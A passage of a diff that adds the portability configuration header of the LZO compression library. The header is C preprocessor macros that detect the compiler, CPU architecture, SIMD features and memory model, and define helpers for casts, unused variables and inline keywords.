LZO_PP_MACRO_EXPAND(_MSC_VER) +# endif +#else +# define LZO_CC_UNKNOWN 1 +# define LZO_INFO_CC "unknown" +# define LZO_INFO_CCVER "unknown" +#endif +#if (LZO_CC_GNUC) && defined(__OPEN64__) +# if defined(__OPENCC__) && defined(__OPENCC_MINOR__) && defined(__OPENCC_PATCHLEVEL__) +# define LZO_CC_OPEN64 (__OPENCC__ * 0x10000L + (__OPENCC_MINOR__-0) * 0x100 + (__OPENCC_PATCHLEVEL__-0)) +# define LZO_CC_OPEN64_GNUC LZO_CC_GNUC +# endif +#endif +#if (LZO_CC_GNUC) && defined(__PCC__) +# if defined(__PCC__) && defined(__PCC_MINOR__) && defined(__PCC_MINORMINOR__) +# define LZO_CC_PCC (__PCC__ * 0x10000L + (__PCC_MINOR__-0) * 0x100 + (__PCC_MINORMINOR__-0)) +# define LZO_CC_PCC_GNUC LZO_CC_GNUC +# endif +#endif +#if 0 && (LZO_CC_MSC && (_MSC_VER >= 1200)) && !defined(_MSC_FULL_VER) +# error "LZO_CC_MSC: _MSC_FULL_VER is not defined" +#endif +#if !defined(__LZO_ARCH_OVERRIDE) && !(LZO_ARCH_GENERIC) && defined(_CRAY) +# if (UINT_MAX > LZO_0xffffffffL) && defined(_CRAY) +# if defined(_CRAYMPP) || defined(_CRAYT3D) || defined(_CRAYT3E) +# define LZO_ARCH_CRAY_MPP 1 +# elif defined(_CRAY1) +# define LZO_ARCH_CRAY_PVP 1 +# endif +# endif +#endif +#if !defined(__LZO_ARCH_OVERRIDE) +#if (LZO_ARCH_GENERIC) +# define LZO_INFO_ARCH "generic" +#elif (LZO_OS_DOS16 || LZO_OS_OS216 || LZO_OS_WIN16) +# define LZO_ARCH_I086 1 +# define LZO_INFO_ARCH "i086" +#elif defined(__aarch64__) +# define LZO_ARCH_ARM64 1 +# define LZO_INFO_ARCH "arm64" +#elif defined(__alpha__) || defined(__alpha) || defined(_M_ALPHA) +# define LZO_ARCH_ALPHA 1 +# define LZO_INFO_ARCH "alpha" +#elif (LZO_ARCH_CRAY_MPP) && (defined(_CRAYT3D) || defined(_CRAYT3E)) +# define LZO_ARCH_ALPHA 1 +# define LZO_INFO_ARCH "alpha" +#elif defined(__amd64__) || defined(__x86_64__) || defined(_M_AMD64) +# define LZO_ARCH_AMD64 1 +# define LZO_INFO_ARCH "amd64" +#elif defined(__thumb__) || (defined(_M_ARM) && defined(_M_THUMB)) +# define LZO_ARCH_ARM 1 +# define LZO_ARCH_ARM_THUMB 1 +# define LZO_INFO_ARCH "arm_thumb" +#elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICCARM__) +# define LZO_ARCH_ARM 1 +# if defined(__CPU_MODE__) && ((__CPU_MODE__-0) == 1) +# define LZO_ARCH_ARM_THUMB 1 +# define LZO_INFO_ARCH "arm_thumb" +# elif defined(__CPU_MODE__) && ((__CPU_MODE__-0) == 2) +# define LZO_INFO_ARCH "arm" +# else +# define LZO_INFO_ARCH "arm" +# endif +#elif defined(__arm__) || defined(_M_ARM) +# define LZO_ARCH_ARM 1 +# define LZO_INFO_ARCH "arm" +#elif (UINT_MAX <= LZO_0xffffL) && defined(__AVR__) +# define LZO_ARCH_AVR 1 +# define LZO_INFO_ARCH "avr" +#elif defined(__avr32__) || defined(__AVR32__) +# define LZO_ARCH_AVR32 1 +# define LZO_INFO_ARCH "avr32" +#elif defined(__bfin__) +# define LZO_ARCH_BLACKFIN 1 +# define LZO_INFO_ARCH "blackfin" +#elif (UINT_MAX == LZO_0xffffL) && defined(__C166__) +# define LZO_ARCH_C166 1 +# define LZO_INFO_ARCH "c166" +#elif defined(__cris__) +# define LZO_ARCH_CRIS 1 +# define LZO_INFO_ARCH "cris" +#elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICCEZ80__) +# define LZO_ARCH_EZ80 1 +# define LZO_INFO_ARCH "ez80" +#elif defined(__H8300__) || defined(__H8300H__) || defined(__H8300S__) || defined(__H8300SX__) +# define LZO_ARCH_H8300 1 +# define LZO_INFO_ARCH "h8300" +#elif defined(__hppa__) || defined(__hppa) +# define LZO_ARCH_HPPA 1 +# define LZO_INFO_ARCH "hppa" +#elif defined(__386__) || defined(__i386__) || defined(__i386) || defined(_M_IX86) || defined(_M_I386) +# define LZO_ARCH_I386 1 +# define LZO_ARCH_IA32 1 +# define LZO_INFO_ARCH "i386" +#elif (LZO_CC_ZORTECHC && defined(__I86__)) +# define LZO_ARCH_I386 1 +# define LZO_ARCH_IA32 1 +# define LZO_INFO_ARCH "i386" +#elif (LZO_OS_DOS32 && LZO_CC_HIGHC) && defined(_I386) +# define LZO_ARCH_I386 1 +# define LZO_ARCH_IA32 1 +# define LZO_INFO_ARCH "i386" +#elif defined(__ia64__) || defined(__ia64) || defined(_M_IA64) +# define LZO_ARCH_IA64 1 +# define LZO_INFO_ARCH "ia64" +#elif (UINT_MAX == LZO_0xffffL) && defined(__m32c__) +# define LZO_ARCH_M16C 1 +# define LZO_INFO_ARCH "m16c" +#elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICCM16C__) +# define LZO_ARCH_M16C 1 +# define LZO_INFO_ARCH "m16c" +#elif defined(__m32r__) +# define LZO_ARCH_M32R 1 +# define LZO_INFO_ARCH "m32r" +#elif (LZO_OS_TOS) || defined(__m68k__) || defined(__m68000__) || defined(__mc68000__) || defined(__mc68020__) || defined(_M_M68K) +# define LZO_ARCH_M68K 1 +# define LZO_INFO_ARCH "m68k" +#elif (UINT_MAX == LZO_0xffffL) && defined(__C251__) +# define LZO_ARCH_MCS251 1 +# define LZO_INFO_ARCH "mcs251" +#elif (UINT_MAX == LZO_0xffffL) && defined(__C51__) +# define LZO_ARCH_MCS51 1 +# define LZO_INFO_ARCH "mcs51" +#elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICC8051__) +# define LZO_ARCH_MCS51 1 +# define LZO_INFO_ARCH "mcs51" +#elif defined(__mips__) || defined(__mips) || defined(_MIPS_ARCH) || defined(_M_MRX000) +# define LZO_ARCH_MIPS 1 +# define LZO_INFO_ARCH "mips" +#elif (UINT_MAX == LZO_0xffffL) && defined(__MSP430__) +# define LZO_ARCH_MSP430 1 +# define LZO_INFO_ARCH "msp430" +#elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICC430__) +# define LZO_ARCH_MSP430 1 +# define LZO_INFO_ARCH "msp430" +#elif defined(__powerpc__) || defined(__powerpc) || defined(__ppc__) || defined(__PPC__) || defined(_M_PPC) || defined(_ARCH_PPC) || defined(_ARCH_PWR) +# define LZO_ARCH_POWERPC 1 +# define LZO_INFO_ARCH "powerpc" +#elif defined(__s390__) || defined(__s390) || defined(__s390x__) || defined(__s390x) +# define LZO_ARCH_S390 1 +# define LZO_INFO_ARCH "s390" +#elif defined(__sh__) || defined(_M_SH) +# define LZO_ARCH_SH 1 +# define LZO_INFO_ARCH "sh" +#elif defined(__sparc__) || defined(__sparc) || defined(__sparcv8) +# define LZO_ARCH_SPARC 1 +# define LZO_INFO_ARCH "sparc" +#elif defined(__SPU__) +# define LZO_ARCH_SPU 1 +# define LZO_INFO_ARCH "spu" +#elif (UINT_MAX == LZO_0xffffL) && defined(__z80) +# define LZO_ARCH_Z80 1 +# define LZO_INFO_ARCH "z80" +#elif (LZO_ARCH_CRAY_PVP) +# if defined(_CRAYSV1) +# define LZO_ARCH_CRAY_SV1 1 +# define LZO_INFO_ARCH "cray_sv1" +# elif (_ADDR64) +# define LZO_ARCH_CRAY_T90 1 +# define LZO_INFO_ARCH "cray_t90" +# elif (_ADDR32) +# define LZO_ARCH_CRAY_YMP 1 +# define LZO_INFO_ARCH "cray_ymp" +# else +# define LZO_ARCH_CRAY_XMP 1 +# define LZO_INFO_ARCH "cray_xmp" +# endif +#else +# define LZO_ARCH_UNKNOWN 1 +# define LZO_INFO_ARCH "unknown" +#endif +#endif +#if 1 && (LZO_ARCH_UNKNOWN) && (LZO_OS_DOS32 || LZO_OS_OS2) +# error "FIXME - missing define for CPU architecture" +#endif +#if 1 && (LZO_ARCH_UNKNOWN) && (LZO_OS_WIN32) +# error "FIXME - missing LZO_OS_WIN32 define for CPU architecture" +#endif +#if 1 && (LZO_ARCH_UNKNOWN) && (LZO_OS_WIN64) +# error "FIXME - missing LZO_OS_WIN64 define for CPU architecture" +#endif +#if (LZO_OS_OS216 || LZO_OS_WIN16) +# define LZO_ARCH_I086PM 1 +#elif 1 && (LZO_OS_DOS16 && defined(BLX286)) +# define LZO_ARCH_I086PM 1 +#elif 1 && (LZO_OS_DOS16 && defined(DOSX286)) +# define LZO_ARCH_I086PM 1 +#elif 1 && (LZO_OS_DOS16 && LZO_CC_BORLANDC && defined(__DPMI16__)) +# define LZO_ARCH_I086PM 1 +#endif +#if (LZO_ARCH_AMD64 && !LZO_ARCH_X64) +# define LZO_ARCH_X64 1 +#elif (!LZO_ARCH_AMD64 && LZO_ARCH_X64) && defined(__LZO_ARCH_OVERRIDE) +# define LZO_ARCH_AMD64 1 +#endif +#if (LZO_ARCH_ARM64 && !LZO_ARCH_AARCH64) +# define LZO_ARCH_AARCH64 1 +#elif (!LZO_ARCH_ARM64 && LZO_ARCH_AARCH64) && defined(__LZO_ARCH_OVERRIDE) +# define LZO_ARCH_ARM64 1 +#endif +#if (LZO_ARCH_I386 && !LZO_ARCH_X86) +# define LZO_ARCH_X86 1 +#elif (!LZO_ARCH_I386 && LZO_ARCH_X86) && defined(__LZO_ARCH_OVERRIDE) +# define LZO_ARCH_I386 1 +#endif +#if (LZO_ARCH_AMD64 && !LZO_ARCH_X64) || (!LZO_ARCH_AMD64 && LZO_ARCH_X64) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_ARCH_ARM64 && !LZO_ARCH_AARCH64) || (!LZO_ARCH_ARM64 && LZO_ARCH_AARCH64) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_ARCH_I386 && !LZO_ARCH_X86) || (!LZO_ARCH_I386 && LZO_ARCH_X86) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_ARCH_ARM_THUMB && !LZO_ARCH_ARM) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_ARCH_ARM_THUMB1 && !LZO_ARCH_ARM_THUMB) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_ARCH_ARM_THUMB2 && !LZO_ARCH_ARM_THUMB) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_ARCH_ARM_THUMB1 && LZO_ARCH_ARM_THUMB2) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_ARCH_I086PM && !LZO_ARCH_I086) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_ARCH_I086) +# if (UINT_MAX != LZO_0xffffL) +# error "unexpected configuration - check your compiler defines" +# endif +# if (ULONG_MAX != LZO_0xffffffffL) +# error "unexpected configuration - check your compiler defines" +# endif +#endif +#if (LZO_ARCH_I386) +# if (UINT_MAX != LZO_0xffffL) && defined(__i386_int16__) +# error "unexpected configuration - check your compiler defines" +# endif +# if (UINT_MAX != LZO_0xffffffffL) && !defined(__i386_int16__) +# error "unexpected configuration - check your compiler defines" +# endif +# if (ULONG_MAX != LZO_0xffffffffL) +# error "unexpected configuration - check your compiler defines" +# endif +#endif +#if (LZO_ARCH_AMD64 || LZO_ARCH_I386) +# if !defined(LZO_TARGET_FEATURE_SSE2) +# if defined(__SSE2__) +# define LZO_TARGET_FEATURE_SSE2 1 +# elif defined(_MSC_VER) && ((defined(_M_IX86_FP) && ((_M_IX86_FP)+0 >= 2)) || defined(_M_AMD64)) +# define LZO_TARGET_FEATURE_SSE2 1 +# endif +# endif +# if !defined(LZO_TARGET_FEATURE_SSSE3) +# if (LZO_TARGET_FEATURE_SSE2) +# if defined(__SSSE3__) +# define LZO_TARGET_FEATURE_SSSE3 1 +# elif defined(_MSC_VER) && defined(__AVX__) +# define LZO_TARGET_FEATURE_SSSE3 1 +# endif +# endif +# endif +# if !defined(LZO_TARGET_FEATURE_SSE4_2) +# if (LZO_TARGET_FEATURE_SSSE3) +# if defined(__SSE4_2__) +# define LZO_TARGET_FEATURE_SSE4_2 1 +# endif +# endif +# endif +# if !defined(LZO_TARGET_FEATURE_AVX) +# if (LZO_TARGET_FEATURE_SSSE3) +# if defined(__AVX__) +# define LZO_TARGET_FEATURE_AVX 1 +# endif +# endif +# endif +# if !defined(LZO_TARGET_FEATURE_AVX2) +# if (LZO_TARGET_FEATURE_AVX) +# if defined(__AVX2__) +# define LZO_TARGET_FEATURE_AVX2 1 +# endif +# endif +# endif +#endif +#if (LZO_TARGET_FEATURE_SSSE3 && !(LZO_TARGET_FEATURE_SSE2)) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_TARGET_FEATURE_SSE4_2 && !(LZO_TARGET_FEATURE_SSSE3)) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_TARGET_FEATURE_AVX && !(LZO_TARGET_FEATURE_SSSE3)) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_TARGET_FEATURE_AVX2 && !(LZO_TARGET_FEATURE_AVX)) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_ARCH_ARM) +# if !defined(LZO_TARGET_FEATURE_NEON) +# if defined(__ARM_NEON__) +# define LZO_TARGET_FEATURE_NEON 1 +# endif +# endif +#elif (LZO_ARCH_ARM64) +# if !defined(LZO_TARGET_FEATURE_NEON) +# if 1 +# define LZO_TARGET_FEATURE_NEON 1 +# endif +# endif +#endif +#if 0 +#elif !defined(__LZO_MM_OVERRIDE) +#if (LZO_ARCH_I086) +#if (UINT_MAX != LZO_0xffffL) +# error "unexpected configuration - check your compiler defines" +#endif +#if defined(__TINY__) || defined(M_I86TM) || defined(_M_I86TM) +# define LZO_MM_TINY 1 +#elif defined(__HUGE__) || defined(_HUGE_) || defined(M_I86HM) || defined(_M_I86HM) +# define LZO_MM_HUGE 1 +#elif defined(__SMALL__) || defined(M_I86SM) || defined(_M_I86SM) || defined(SMALL_MODEL) +# define LZO_MM_SMALL 1 +#elif defined(__MEDIUM__) || defined(M_I86MM) || defined(_M_I86MM) +# define LZO_MM_MEDIUM 1 +#elif defined(__COMPACT__) || defined(M_I86CM) || defined(_M_I86CM) +# define LZO_MM_COMPACT 1 +#elif defined(__LARGE__) || defined(M_I86LM) || defined(_M_I86LM) || defined(LARGE_MODEL) +# define LZO_MM_LARGE 1 +#elif (LZO_CC_AZTECC) +# if defined(_LARGE_CODE) && defined(_LARGE_DATA) +# define LZO_MM_LARGE 1 +# elif defined(_LARGE_CODE) +# define LZO_MM_MEDIUM 1 +# elif defined(_LARGE_DATA) +# define LZO_MM_COMPACT 1 +# else +# define LZO_MM_SMALL 1 +# endif +#elif (LZO_CC_ZORTECHC && defined(__VCM__)) +# define LZO_MM_LARGE 1 +#else +# error "unknown LZO_ARCH_I086 memory model" +#endif +#if (LZO_OS_DOS16 || LZO_OS_OS216 || LZO_OS_WIN16) +#define LZO_HAVE_MM_HUGE_PTR 1 +#define LZO_HAVE_MM_HUGE_ARRAY 1 +#if (LZO_MM_TINY) +# undef LZO_HAVE_MM_HUGE_ARRAY +#endif +#if (LZO_CC_AZTECC || LZO_CC_PACIFICC || LZO_CC_ZORTECHC) +# undef LZO_HAVE_MM_HUGE_PTR +# undef LZO_HAVE_MM_HUGE_ARRAY +#elif (LZO_CC_DMC || LZO_CC_SYMANTECC) +# undef LZO_HAVE_MM_HUGE_ARRAY +#elif (LZO_CC_MSC && defined(_QC)) +# undef LZO_HAVE_MM_HUGE_ARRAY +# if (_MSC_VER < 600) +# undef LZO_HAVE_MM_HUGE_PTR +# endif +#elif (LZO_CC_TURBOC && (__TURBOC__ < 0x0295)) +# undef LZO_HAVE_MM_HUGE_ARRAY +#endif +#if (LZO_ARCH_I086PM) && !(LZO_HAVE_MM_HUGE_PTR) +# if (LZO_OS_DOS16) +# error "unexpected configuration - check your compiler defines" +# elif (LZO_CC_ZORTECHC) +# else +# error "unexpected configuration - check your compiler defines" +# endif +#endif +#ifdef __cplusplus +extern "C" { +#endif +#if (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0200)) + extern void __near __cdecl _AHSHIFT(void); +# define LZO_MM_AHSHIFT ((unsigned) _AHSHIFT) +#elif (LZO_CC_DMC || LZO_CC_SYMANTECC || LZO_CC_ZORTECHC) + extern void __near __cdecl _AHSHIFT(void); +# define LZO_MM_AHSHIFT ((unsigned) _AHSHIFT) +#elif (LZO_CC_MSC || LZO_CC_TOPSPEEDC) + extern void __near __cdecl _AHSHIFT(void); +# define LZO_MM_AHSHIFT ((unsigned) _AHSHIFT) +#elif (LZO_CC_TURBOC && (__TURBOC__ >= 0x0295)) + extern void __near __cdecl _AHSHIFT(void); +# define LZO_MM_AHSHIFT ((unsigned) _AHSHIFT) +#elif ((LZO_CC_AZTECC || LZO_CC_PACIFICC || LZO_CC_TURBOC) && LZO_OS_DOS16) +# define LZO_MM_AHSHIFT 12 +#elif (LZO_CC_WATCOMC) + extern unsigned char _HShift; +# define LZO_MM_AHSHIFT ((unsigned) _HShift) +#else +# error "FIXME - implement LZO_MM_AHSHIFT" +#endif +#ifdef __cplusplus +} +#endif +#endif +#elif (LZO_ARCH_C166) +#if !defined(__MODEL__) +# error "FIXME - LZO_ARCH_C166 __MODEL__" +#elif ((__MODEL__) == 0) +# define LZO_MM_SMALL 1 +#elif ((__MODEL__) == 1) +# define LZO_MM_SMALL 1 +#elif ((__MODEL__) == 2) +# define LZO_MM_LARGE 1 +#elif ((__MODEL__) == 3) +# define LZO_MM_TINY 1 +#elif ((__MODEL__) == 4) +# define LZO_MM_XTINY 1 +#elif ((__MODEL__) == 5) +# define LZO_MM_XSMALL 1 +#else +# error "FIXME - LZO_ARCH_C166 __MODEL__" +#endif +#elif (LZO_ARCH_MCS251) +#if !defined(__MODEL__) +# error "FIXME - LZO_ARCH_MCS251 __MODEL__" +#elif ((__MODEL__) == 0) +# define LZO_MM_SMALL 1 +#elif ((__MODEL__) == 2) +# define LZO_MM_LARGE 1 +#elif ((__MODEL__) == 3) +# define LZO_MM_TINY 1 +#elif ((__MODEL__) == 4) +# define LZO_MM_XTINY 1 +#elif ((__MODEL__) == 5) +# define LZO_MM_XSMALL 1 +#else +# error "FIXME - LZO_ARCH_MCS251 __MODEL__" +#endif +#elif (LZO_ARCH_MCS51) +#if !defined(__MODEL__) +# error "FIXME - LZO_ARCH_MCS51 __MODEL__" +#elif ((__MODEL__) == 1) +# define LZO_MM_SMALL 1 +#elif ((__MODEL__) == 2) +# define LZO_MM_LARGE 1 +#elif ((__MODEL__) == 3) +# define LZO_MM_TINY 1 +#elif ((__MODEL__) == 4) +# define LZO_MM_XTINY 1 +#elif ((__MODEL__) == 5) +# define LZO_MM_XSMALL 1 +#else +# error "FIXME - LZO_ARCH_MCS51 __MODEL__" +#endif +#elif (LZO_ARCH_CRAY_PVP) +# define LZO_MM_PVP 1 +#else +# define LZO_MM_FLAT 1 +#endif +#if (LZO_MM_COMPACT) +# define LZO_INFO_MM "compact" +#elif (LZO_MM_FLAT) +# define LZO_INFO_MM "flat" +#elif (LZO_MM_HUGE) +# define LZO_INFO_MM "huge" +#elif (LZO_MM_LARGE) +# define LZO_INFO_MM "large" +#elif (LZO_MM_MEDIUM) +# define LZO_INFO_MM "medium" +#elif (LZO_MM_PVP) +# define LZO_INFO_MM "pvp" +#elif (LZO_MM_SMALL) +# define LZO_INFO_MM "small" +#elif (LZO_MM_TINY) +# define LZO_INFO_MM "tiny" +#else +# error "unknown memory model" +#endif +#endif +#if !defined(__lzo_gnuc_extension__) +#if (LZO_CC_GNUC >= 0x020800ul) +# define __lzo_gnuc_extension__ __extension__ +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define __lzo_gnuc_extension__ __extension__ +#elif (LZO_CC_IBMC >= 600) +# define __lzo_gnuc_extension__ __extension__ +#else +#endif +#endif +#if !defined(__lzo_gnuc_extension__) +# define __lzo_gnuc_extension__ /*empty*/ +#endif +#if !defined(LZO_CFG_USE_NEW_STYLE_CASTS) && defined(__cplusplus) && 0 +# if (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020800ul)) +# define LZO_CFG_USE_NEW_STYLE_CASTS 0 +# elif (LZO_CC_INTELC && (__INTEL_COMPILER < 1200)) +# define LZO_CFG_USE_NEW_STYLE_CASTS 0 +# else +# define LZO_CFG_USE_NEW_STYLE_CASTS 1 +# endif +#endif +#if !defined(LZO_CFG_USE_NEW_STYLE_CASTS) +# define LZO_CFG_USE_NEW_STYLE_CASTS 0 +#endif +#if !defined(__cplusplus) +# if defined(LZO_CFG_USE_NEW_STYLE_CASTS) +# undef LZO_CFG_USE_NEW_STYLE_CASTS +# endif +# define LZO_CFG_USE_NEW_STYLE_CASTS 0 +#endif +#if !defined(LZO_REINTERPRET_CAST) +# if (LZO_CFG_USE_NEW_STYLE_CASTS) +# define LZO_REINTERPRET_CAST(t,e) (reinterpret_cast (e)) +# endif +#endif +#if !defined(LZO_REINTERPRET_CAST) +# define LZO_REINTERPRET_CAST(t,e) ((t) (e)) +#endif +#if !defined(LZO_STATIC_CAST) +# if (LZO_CFG_USE_NEW_STYLE_CASTS) +# define LZO_STATIC_CAST(t,e) (static_cast (e)) +# endif +#endif +#if !defined(LZO_STATIC_CAST) +# define LZO_STATIC_CAST(t,e) ((t) (e)) +#endif +#if !defined(LZO_STATIC_CAST2) +# define LZO_STATIC_CAST2(t1,t2,e) LZO_STATIC_CAST(t1, LZO_STATIC_CAST(t2, e)) +#endif +#if !defined(LZO_UNCONST_CAST) +# if (LZO_CFG_USE_NEW_STYLE_CASTS) +# define LZO_UNCONST_CAST(t,e) (const_cast (e)) +# elif (LZO_HAVE_MM_HUGE_PTR) +# define LZO_UNCONST_CAST(t,e) ((t) (e)) +# elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define LZO_UNCONST_CAST(t,e) ((t) ((void *) ((lzo_uintptr_t) ((const void *) (e))))) +# endif +#endif +#if !defined(LZO_UNCONST_CAST) +# define LZO_UNCONST_CAST(t,e) ((t) ((void *) ((const void *) (e)))) +#endif +#if !defined(LZO_UNCONST_VOLATILE_CAST) +# if (LZO_CFG_USE_NEW_STYLE_CASTS) +# define LZO_UNCONST_VOLATILE_CAST(t,e) (const_cast (e)) +# elif (LZO_HAVE_MM_HUGE_PTR) +# define LZO_UNCONST_VOLATILE_CAST(t,e) ((t) (e)) +# elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define LZO_UNCONST_VOLATILE_CAST(t,e) ((t) ((volatile void *) ((lzo_uintptr_t) ((volatile const void *) (e))))) +# endif +#endif +#if !defined(LZO_UNCONST_VOLATILE_CAST) +# define LZO_UNCONST_VOLATILE_CAST(t,e) ((t) ((volatile void *) ((volatile const void *) (e)))) +#endif +#if !defined(LZO_UNVOLATILE_CAST) +# if (LZO_CFG_USE_NEW_STYLE_CASTS) +# define LZO_UNVOLATILE_CAST(t,e) (const_cast (e)) +# elif (LZO_HAVE_MM_HUGE_PTR) +# define LZO_UNVOLATILE_CAST(t,e) ((t) (e)) +# elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define LZO_UNVOLATILE_CAST(t,e) ((t) ((void *) ((lzo_uintptr_t) ((volatile void *) (e))))) +# endif +#endif +#if !defined(LZO_UNVOLATILE_CAST) +# define LZO_UNVOLATILE_CAST(t,e) ((t) ((void *) ((volatile void *) (e)))) +#endif +#if !defined(LZO_UNVOLATILE_CONST_CAST) +# if (LZO_CFG_USE_NEW_STYLE_CASTS) +# define LZO_UNVOLATILE_CONST_CAST(t,e) (const_cast (e)) +# elif (LZO_HAVE_MM_HUGE_PTR) +# define LZO_UNVOLATILE_CONST_CAST(t,e) ((t) (e)) +# elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define LZO_UNVOLATILE_CONST_CAST(t,e) ((t) ((const void *) ((lzo_uintptr_t) ((volatile const void *) (e))))) +# endif +#endif +#if !defined(LZO_UNVOLATILE_CONST_CAST) +# define LZO_UNVOLATILE_CONST_CAST(t,e) ((t) ((const void *) ((volatile const void *) (e)))) +#endif +#if !defined(LZO_PCAST) +# if (LZO_HAVE_MM_HUGE_PTR) +# define LZO_PCAST(t,e) ((t) (e)) +# endif +#endif +#if !defined(LZO_PCAST) +# define LZO_PCAST(t,e) LZO_STATIC_CAST(t, LZO_STATIC_CAST(void *, e)) +#endif +#if !defined(LZO_CCAST) +# if (LZO_HAVE_MM_HUGE_PTR) +# define LZO_CCAST(t,e) ((t) (e)) +# endif +#endif +#if !defined(LZO_CCAST) +# define LZO_CCAST(t,e) LZO_STATIC_CAST(t, LZO_STATIC_CAST(const void *, e)) +#endif +#if !defined(LZO_ICONV) +# define LZO_ICONV(t,e) LZO_STATIC_CAST(t, e) +#endif +#if !defined(LZO_ICAST) +# define LZO_ICAST(t,e) LZO_STATIC_CAST(t, e) +#endif +#if !defined(LZO_ITRUNC) +# define LZO_ITRUNC(t,e) LZO_STATIC_CAST(t, e) +#endif +#if !defined(__lzo_cte) +# if (LZO_CC_MSC || LZO_CC_WATCOMC) +# define __lzo_cte(e) ((void)0,(e)) +# elif 1 +# define __lzo_cte(e) ((void)0,(e)) +# endif +#endif +#if !defined(__lzo_cte) +# define __lzo_cte(e) (e) +#endif +#if !defined(LZO_BLOCK_BEGIN) +# define LZO_BLOCK_BEGIN do { +# define LZO_BLOCK_END } while __lzo_cte(0) +#endif +#if !defined(LZO_UNUSED) +# if (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0600)) +# define LZO_UNUSED(var) ((void) &var) +# elif (LZO_CC_BORLANDC || LZO_CC_HIGHC || LZO_CC_NDPC || LZO_CC_PELLESC || LZO_CC_TURBOC) +# define LZO_UNUSED(var) if (&var) ; else +# elif (LZO_CC_CLANG && (LZO_CC_CLANG >= 0x030200ul)) +# define LZO_UNUSED(var) ((void) &var) +# elif (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define LZO_UNUSED(var) ((void) var) +# elif (LZO_CC_MSC && (_MSC_VER < 900)) +# define LZO_UNUSED(var) if (&var) ; else +# elif (LZO_CC_KEILC) +# define LZO_UNUSED(var) {LZO_EXTERN_C int lzo_unused__[1-2*!(sizeof(var)>0)];} +# elif (LZO_CC_PACIFICC) +# define LZO_UNUSED(var) ((void) sizeof(var)) +# elif (LZO_CC_WATCOMC) && defined(__cplusplus) +# define LZO_UNUSED(var) ((void) var) +# else +# define LZO_UNUSED(var) ((void) &var) +# endif +#endif +#if !defined(LZO_UNUSED_FUNC) +# if (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0600)) +# define LZO_UNUSED_FUNC(func) ((void) func) +# elif (LZO_CC_BORLANDC || LZO_CC_NDPC || LZO_CC_TURBOC) +# define LZO_UNUSED_FUNC(func) if (func) ; else +# elif (LZO_CC_CLANG || LZO_CC_LLVM) +# define LZO_UNUSED_FUNC(func) ((void) &func) +# elif (LZO_CC_MSC && (_MSC_VER < 900)) +# define LZO_UNUSED_FUNC(func) if (func) ; else +# elif (LZO_CC_MSC) +# define LZO_UNUSED_FUNC(func) ((void) &func) +# elif (LZO_CC_KEILC || LZO_CC_PELLESC) +# define LZO_UNUSED_FUNC(func) {LZO_EXTERN_C int lzo_unused_func__[1-2*!(sizeof((int)func)>0)];} +# else +# define LZO_UNUSED_FUNC(func) ((void) func) +# endif +#endif +#if !defined(LZO_UNUSED_LABEL) +# if (LZO_CC_CLANG >= 0x020800ul) +# define LZO_UNUSED_LABEL(l) (__lzo_gnuc_extension__ ((void) ((const void *) &&l))) +# elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_INTELC || LZO_CC_WATCOMC) +# define LZO_UNUSED_LABEL(l) if __lzo_cte(0) goto l +# else +# define LZO_UNUSED_LABEL(l) switch (0) case 1:goto l +# endif +#endif +#if !defined(LZO_DEFINE_UNINITIALIZED_VAR) +# if 0 +# define LZO_DEFINE_UNINITIALIZED_VAR(type,var,init) type var +# elif 0 && (LZO_CC_GNUC) +# define LZO_DEFINE_UNINITIALIZED_VAR(type,var,init) type var = var +# else +# define LZO_DEFINE_UNINITIALIZED_VAR(type,var,init) type var = init +# endif +#endif +#if !defined(__lzo_inline) +#if (LZO_CC_TURBOC && (__TURBOC__ <= 0x0295)) +#elif defined(__cplusplus) +# define __lzo_inline inline +#elif defined(__STDC_VERSION__) && (__STDC_VERSION__-0 >= 199901L) +# define __lzo_inline inline +#elif (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0550)) +# define __lzo_inline __inline +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI) +# define __lzo_inline __inline__ +#elif (LZO_CC_DMC) +# define __lzo_inline __inline +#elif (LZO_CC_GHS) +# define __lzo_inline __inline__ +#elif (LZO_CC_IBMC >= 600) +# define __lzo_inline __inline__ +#elif (LZO_CC_INTELC) +# define __lzo_inline __inline +#elif (LZO_CC_MWERKS && (__MWERKS__ >= 0x2405)) +# define __lzo_inline __inline +#elif (LZO_CC_MSC && (_MSC_VER >= 900)) +# define __lzo_inline __inline +#elif (LZO_CC_SUNPROC >= 0x5100) +# define __lzo_inline __inline__ +#endif +#endif +#if 